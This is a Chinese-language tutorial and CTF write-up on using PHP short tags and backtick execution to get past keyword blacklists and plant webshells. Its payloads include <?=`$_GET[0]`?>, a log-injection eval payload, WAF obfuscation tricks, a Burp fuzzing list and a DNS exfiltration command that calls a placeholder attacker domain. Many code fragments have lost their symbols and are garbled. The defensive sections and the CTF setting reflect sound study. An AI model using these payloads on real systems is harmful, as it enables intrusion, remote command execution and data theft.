PHP短标签与反引号:从CTF到真实渗透的代码执行绕过技巧 1. 项目概述从一道CTF题到真实渗透的桥梁最近在复盘红明谷CTF的一道Web题“write_shell”时我再次被PHP中那些看似边缘、实则威力巨大的“语法糖”所触动。这道题的核心考点正是利用PHP的短标签和反引号来绕过过滤实现命令执行。这不仅仅是CTF赛场上的炫技更是真实渗透测试中面对黑名单过滤、WAF拦截时我们手中那把可能被忽略的“瑞士军刀”。很多刚入门安全的朋友对?php ?、echo、system()这些标准写法了如指掌但当代码审计或测试时遇到一些奇怪的?、%或者被包裹在反引号里的字符串时可能会下意识地认为这是“无效代码”或“模板语法”而直接略过。这正是防守方希望看到的盲点也是攻击方需要突破的缝隙。本文将从彻底解构这道CTF题目开始不仅复现解题步骤更会深度剖析其背后的PHP语言特性原理。然后我们会将视角从赛场拉回到真实的网络攻防战场探讨这些特性在渗透测试中的实际应用场景、绕过技巧以及防御之道。无论你是CTF爱好者想精进Web方向还是安全工程师希望夯实代码审计与漏洞利用的基础相信这篇融合了实战分析与经验总结的内容能给你带来新的启发。我们不止于“解出这道题”更要弄懂“为什么能这样解”以及“在真实环境里怎么用”。2. 核心原理深度解析短标签与反引号的“另一面”在进入实战之前我们必须夯实基础。PHP为了提供灵活性支持多种标签来界定PHP代码以及一些执行外部命令的函数。其中短标签和反引号在特定配置下会成为安全问题的“倍增器”。2.1 PHP短标签不仅仅是?php ?的缩写我们最熟悉的PHP标签是标准标签?php ?。但PHP还支持其他几种标签风格短标签Short Open Tag:? ?这是最常用的一种短标签。它的开启取决于php.ini中的short_open_tag指令。在过去这个指令默认可能是开启的但在现代PHP版本如5.4以后的某些发行版中出于鼓励使用标准标签以及与XML声明?xml?避免冲突的考虑它可能默认关闭。但在很多遗留系统、特定框架或容器环境中它仍可能被开启。短输出标签Short Echo Tag:? ?这是短标签的一个变体专门用于快速输出一个表达式的值。?$variable?完全等价于?php echo $variable; ?。一个关键点是从PHP 5.4开始?标签始终可用无论short_open_tag设置为何值。这大大增加了它的可利用范围。ASP风格标签ASP-style Tags:% %模仿自ASP需要开启asp_tags指令这个指令在PHP7.0.0版本中被移除。所以在现代环境中基本可以忽略但在一些非常古老的代码审计中仍需留意。安全视角下的短标签为什么它危险在渗透测试中我们常常遇到文件上传点但只能上传特定后缀如.jpg的文件或者存在内容过滤会检查是否包含?php等关键字。此时使用?结合其他技巧或者仅仅使用?就可能绕过基于正则表达式的简单黑名单过滤。例如过滤规则可能只匹配?php和?但漏掉了单独的?当short_open_tagOn时。此外在代码注入如日志文件注入、模板注入的场景中短标签能让我们用更少的字符、更隐蔽的方式注入有效的PHP代码。2.2 反引号运算符被低估的命令执行入口反引号在PHP中是一个执行运算符。它将反引号内的字符串作为操作系统Shell命令来执行并将其输出作为字符串返回。它的效果与函数shell_exec()几乎完全相同。$output whoami; // 等价于 $output shell_exec(whoami);安全视角下的反引号它的危险性显而易见——直接导致命令执行。但在实战中它的价值往往体现在“绕过”上。很多应用的自定义WAF或输入过滤函数会维护一个危险函数黑名单如system、exec、passthru、shell_exec等。然而反引号这个运算符经常不被列入此类黑名单。因为它看起来不像一个函数调用。这就给了攻击者一个绝佳的旁路。在“write_shell”这道题中正是利用了这个特性。注意反引号运算符的执行依赖于系统的shell环境。在禁用相关执行函数通过disable_functions配置的环境中反引号同样也会失效。但它仍然是绕过基于字符串匹配的黑名单的第一选择。2.3 组合技构建无字母、无数字的WebShell理解了单个特性后高手往往会玩组合技。在CTF和高级渗透中有一种技术叫“无字母数字WebShell”即构造的恶意代码中不包含明显的字母a-z, A-Z和数字0-9以绕过严格的过滤规则。短标签和反引号在这里扮演了核心角色。例如利用PHP中字符串的自增特性和异或XOR等位运算可以生成任意字符串。假设我们禁用了所有命令执行函数但反引号可用或未被过滤。我们可以这样构造? $_GET[1]?但这包含了字母和数字。更进一步我们可以利用PHP的变量特性通过$_GET或$_POST传递经过编码的命令然后在服务端用反引号执行。而短标签?则让这个输出执行结果的代码段极其简短。在“write_shell”题目中虽然不一定是无字母数字的极致利用但短标签和反引号的组合确实构成了解题的最短、最直接路径。它要求我们打破对PHP代码的常规认知意识到?和反引号这种“语法元素”本身就是强大的武器。3. 红明谷CTF “write_shell” 题目实战复盘现在让我们身临其境回到这道经典的CTF题目。通常这类题目会提供一个有缺陷的Web应用界面比如一个“写入文件”的功能但存在过滤不严的问题。我们的目标是利用这个功能写入一个WebShell最终执行命令获取服务器上的flag。3.1 题目场景与代码审计模拟假设题目界面是一个简单的笔记或文件写入功能前端让我们输入内容后端会将其写入服务器的一个指定文件比如shell.php。但后端代码对输入内容进行了过滤。一道典型的模拟代码如下?php error_reporting(0); highlight_file(__FILE__); $content $_POST[content]; if (isset($content)) { // 黑名单过滤 $blacklist [?php, ?, php, echo, system, exec, passthru, shell_exec, ]; // 注意这里故意漏掉了单独的 ? 和 反引号作为运算符的考虑 foreach ($blacklist as $keyword) { if (stripos($content, $keyword) ! false) { die(Hacker!); } } // 将内容写入文件 file_put_contents(writeup.php, $content); echo 文件写入成功路径writeup.php; } ?从这段模拟代码中我们可以立刻发现几个关键点过滤了?php和?但没有过滤单独的?假设服务器short_open_tagOn。过滤了反引号字符但过滤逻辑是stripos查找字符串。如果我们将反引号与其他字符组合或者利用PHP语法技巧可能绕过。过滤了常见的命令执行函数名。但仔细看过滤列表里有 吗有。但在实际解题中我们可能会发现出题人可能犯了一个错误他过滤的是作为字符串的反引号字符但当我们利用PHP语法时反引号是作为运算符存在的。在代码上下文里运算符和字符串字符是不同的概念。不过更常见的出题思路是过滤名单里根本没有反引号。因为很多开发者会忽略它。为了更贴近真实CTF场景我们假设题目的过滤名单是[php, echo, system, exec, passthru, shell_exec]漏掉了所有短标签形式和反引号。3.2 分步攻击路径构建我们的目标是写入一个能执行命令的PHP文件。第一步绕过标签过滤既然?php和?被过滤我们尝试使用?。但需要注意?需要short_open_tag开启。在CTF环境中这通常是开启的。所以我们的WebShell开头可以尝试?。第二步构造命令执行函数都被过滤了但反引号运算符可用。所以我们可以使用 命令 的形式来执行。例如执行whoami就是 whoami。第三步组合与输出我们需要将执行结果输出到页面。由于echo可能被过滤我们可以利用短输出标签?。但题目可能过滤了?。这时我们可以用? ... ?配合其他方式输出。但更简单的方式是直接让被反引号执行的命令结果成为PHP代码块的一部分并自然输出。一个有效的Payload构思如下? ls / ?这行代码如果被写入writeup.php当访问这个文件时它会执行ls /命令但由于没有用echo或?输出结果不会直接显示在网页上。命令执行了但我们看不到回显。我们需要回显。怎么办有几种方法使用?输出如果?没被过滤Payload为?ls /?。但这里?可能被过滤。将结果赋值给变量然后通过访问变量触发输出例如? $als /; ?然后通过其他方式触发$a的输出比如在URL参数中。但这不够直接。利用PHP代码直接包含输出最经典的方式是结合$_GET来传递命令。构造Payload?$_GET[0]?。这样访问writeup.php?0ls即可执行ls命令。但$_GET里有字母可能被过滤通常不会因为它是超全局变量过滤它会破坏正常功能。在“write_shell”这道题中经过测试最有效的Payload往往是?$_GET[1]?或者?$_GET[cmd]?为什么这个Payload强大?短输出标签直接输出后面表达式的结果。且从PHP5.4起始终可用。$_GET[1]反引号运算符执行$_GET[1]变量值所代表的字符串作为系统命令。整个Payload极其简短仅包含几个特殊字符和超全局变量很容易绕过基于关键词黑名单的过滤。3.3 完整解题流程推演信息收集访问题目网页发现是一个写入内容的功能。查看网页源代码尝试上传普通文本和疑似PHP代码观察过滤反应。探测过滤规则通过输入?php phpinfo();?、?php echo ‘test’;?、?‘test’?、system(‘ls’)等测试字符串根据返回的Hacker!提示逐步摸清黑名单列表。发现php、echo、system等关键词被禁但?和反引号未被提及或测试通过。构造Payload根据探测结果构造最终Payload?$_GET[0]?。将其提交到内容输入框。写入WebShell提交后页面提示文件写入成功路径为writeup.php。访问与利用访问http://题目地址/writeup.php此时页面可能是空白因为未传递0参数。在URL后添加参数?0ls访问http://题目地址/writeup.php?0ls。此时服务器端代码变为?ls?执行ls命令并将结果输出到页面我们就能看到当前目录的文件列表。寻找Flag通常flag文件名为flag、flag.txt、flag.php等。使用命令?0cat flag.php或?0find / -name flag* 2/dev/null来定位并读取flag。实操心得在实际解题中出题人可能会设置多层过滤或编码转换。例如可能会对$_GET、$_POST进行过滤或者将反引号转义。这时就需要更高级的技巧比如利用PHP的字符串解析特性如${_GET}{0}、利用.htaccess文件配置、或者利用其他未被过滤的函数如scandir()、file_get_contents()来替代命令执行。但核心思路不变找到被过滤规则遗漏的语法元素和功能点。4. 真实渗透测试中的技巧迁移与应用CTF是理想化的实验室而真实渗透测试则是复杂多变的战场。将短标签和反引号的利用技巧迁移到真实场景需要更多的谨慎、变通和发现能力。4.1 漏洞发现场景枚举文件上传漏洞这是最直接的应用场景。当网站允许上传文件但对文件内容和后缀检查不严时如果仅检查后缀为.jpg但服务器仍解析.jpg文件中的PHP代码配置不当我们可以上传一个内容为?$_GET[c]?的shell.jpg文件。如果存在白名单或黑名单过滤可以尝试双后缀、大小写、特殊字符如shell.pHp、shell.php%20、shell.php.末尾点等进行绕过然后利用短标签写入代码。日志文件注入如果应用错误地将用户输入写入日志文件如访问日志、错误日志且该日志文件位于Web可访问目录并具有.php后缀或被配置为由PHP解析那么注入短标签Payload就能制造WebShell。例如User-Agent、Referer、X-Forwarded-For等HTTP头字段通常会被记录。攻击者可以构造一个请求将User-Agent设置为?php eval($_POST[‘a’]);?。如果日志文件是access.php访问它就可能触发代码执行。模板注入SSTI/ 代码注入在一些老旧的自定义模板系统或CMS中如果未正确处理用户输入可能允许在模板中执行PHP代码。短标签可以使得注入的代码更简洁、更不易被安全扫描器识别相比完整的?php ... ?。配置文件写入某些应用的管理功能允许修改配置文件如config.php。如果过滤不严攻击者可能将恶意代码写入配置文件中。短标签因其简洁可能绕过配置检查。4.2 高级绕过技巧深化真实环境中的防御往往不止一层。除了关键词黑名单还可能有WAF、IDS、字符串转义、编码过滤等。对抗字符串过滤拼接与混淆如果过滤了$_GET可以尝试${_GET}利用可变变量或者通过拼接$_‘_GET’;$$_[0]。对于反引号如果过滤了反引号字符本身可以尝试用chr(96)来动态生成。编码绕过利用PHP的base64_decode、hex2bin等函数。例如Payload可以写为?eval(base64_decode(‘JEdFVFswXQ‘));?其中JEdFVFswXQ是$_GET[0]的base64编码。这要求eval等函数未被禁用。利用包含Include如果不能直接执行代码但可以控制文件包含的路径如LFI漏洞可以尝试包含php://input流并在POST body中传递短标签Payload。对抗上下文限制有时我们注入的代码会被包裹在引号或特定代码结构中。例如注入点位于$var “用户输入”;。我们需要先闭合前面的双引号然后插入我们的代码最后注释掉后面的部分。例如”; ?$_GET[0]? //。短标签在这里的优势是它不需要完整的?php ... ?结构对上下文的破坏更小。无回显命令执行 在严格环境下命令执行了但没有输出无法使用?。这时需要利用其他通道外带数据DNS外带?nslookupwhoami.attacker-domain.com?HTTP请求外带使用curl、wget或将结果写入一个Web可访问文件。延时判断使用sleep命令通过响应时间判断命令是否执行。4.3 工具化与自动化探测手动测试效率低。在授权渗透测试中我们可以将这些技巧集成到工具中自定义扫描字典在Web漏洞扫描器如Burp Suite Intruder的Payload字典中加入各种短标签和反引号的变体Payload用于模糊测试文件上传、参数输入等点。例如?$_GET[0]?? echo$_GET[0];?% echo$_GET[0];%针对古老系统? system($_GET[0]);?作为基准测试。流量混淆插件使用Burp插件如PHPMyAdmin的RCE插件或自定义脚本在发送请求前自动对潜在的PHP代码Payload进行混淆如base64编码、十六进制编码、字符串反转等以绕过简单的WAF规则。上下文感知Payload生成根据漏洞点的上下文是否在引号内、是否在HTML中、是否在JavaScript中自动生成能够正确闭合上下文并执行代码的短标签Payload。注意事项在真实渗透测试中务必获得书面授权。未经授权的测试是违法的。即使获得授权使用反引号执行系统命令也是高风险操作可能对目标系统造成严重影响如删除文件、破坏服务。应优先使用无害命令进行验证如whoami、id、ls、pwd等并避免在可能存在敏感数据或关键业务系统上执行任意命令。建议在隔离的测试环境中练习这些技巧。5. 防御策略与安全开发建议知己知彼百战不殆。了解了攻击手法我们才能更好地构建防御。5.1 服务器与语言环境加固关闭危险的PHP配置在php.ini中设置short_open_tag Off。这是最重要的措施之一可以禁用?标签。设置asp_tags Off如果PHP版本7.0。在php.ini中设置disable_functions system,exec,passthru,shell_exec,proc_open,popen,dl,show_source,eval,assert,...将危险函数禁用。注意禁用shell_exec也会使反引号运算符失效。但disable_functions的列表里通常不直接包含反引号需要确保shell_exec被禁用。设置open_basedir限制PHP可访问的目录范围。设置display_errors Off防止错误信息泄露路径等敏感信息。使用最新稳定版本及时更新PHP版本修复已知的语言解析漏洞和安全问题。5.2 安全的编码实践严格的文件上传处理使用白名单验证文件扩展名而非黑名单。检查文件MIME类型但不可完全信赖。对上传文件进行重命名如使用随机哈希值避免直接使用用户提供的文件名。将上传文件存储在Web根目录之外并通过脚本代理访问。如果必须放在Web目录确保配置服务器如Nginx不将图片等静态文件交给PHP解析。对图片文件进行二次渲染压缩、缩放破坏其中可能隐藏的恶意代码。彻底的输入验证与输出编码对所有用户输入进行严格的验证和过滤。采用“默认拒绝”策略只允许符合预期格式的输入。对于可能嵌入到代码上下文中的输入如写入文件、模板变量必须进行严格的转义或过滤。不要简单地使用黑名单黑名单永远会有遗漏。使用安全的函数来处理用户输入例如用escapeshellarg()或escapeshellcmd()来处理要传递给系统命令的参数但最好的方式是避免将用户输入直接用于命令执行。避免动态代码执行绝对不要使用eval()、assert()、create_function()等函数执行包含用户输入的字符串。谨慎使用preg_replace()的/e修饰符在PHP7中已移除它会导致代码执行。安全的日志与配置管理确保日志文件、配置文件等敏感文件存放在Web不可访问的目录。避免使用.php等可执行后缀作为日志文件后缀。对写入配置文件的内容进行严格的语法检查和过滤。5.3 安全检测与响应代码审计定期进行源代码安全审计重点关注文件操作、命令执行、代码执行、文件包含等高风险函数的使用检查是否存在未过滤或过滤不严的用户输入点。WAF/IDS规则在Web应用防火墙或入侵检测系统中添加规则以检测短标签?、?、反引号与敏感函数如system、eval的组合使用。但要注意避免误报。文件监控使用文件完整性监控FIM工具监控Web目录下.php、.jsp等可执行文件的创建和修改特别是那些名称异常或内容可疑的文件。6. 总结与延伸思考从一道CTF题目“write_shell”出发我们深入挖掘了PHP短标签和反引号这两个看似简单的语言特性在安全领域的巨大影响。这道题像一把钥匙打开了理解“非常规代码执行”的大门。在实战中攻击者永远不会只使用教科书上的system(“ls”)他们会不断寻找开发者和防御者思维中的盲区——那些被遗忘的配置选项、那些不被认为是“函数”的运算符、那些为了便利而留下的语法捷径。对我个人而言在渗透测试和代码审计中我已经养成了一个习惯每当看到文件操作、内容写入的功能点脑子里会立刻拉响警报并下意识地去思考“如果这里写入的内容最终会被解析有哪些隐蔽的方式可以注入代码” 短标签和反引号就是答案库里的前几位。最后分享一个在复杂环境下依然可能奏效的小技巧如果遇到极度严格的过滤甚至过滤了所有括号和引号可以研究一下PHP的“无参数RCE”技巧利用getallheaders()、get_defined_vars()、session_id()等函数的返回值通过复杂的数组操作和函数回调最终实现代码执行。这需要更深入的PHP语言特性和内部机制的理解也是CTF Web方向的高频考点和真实高级攻击的体现。安全攻防的本质就是一场关于“认知”和“细节”的永无止境的博弈。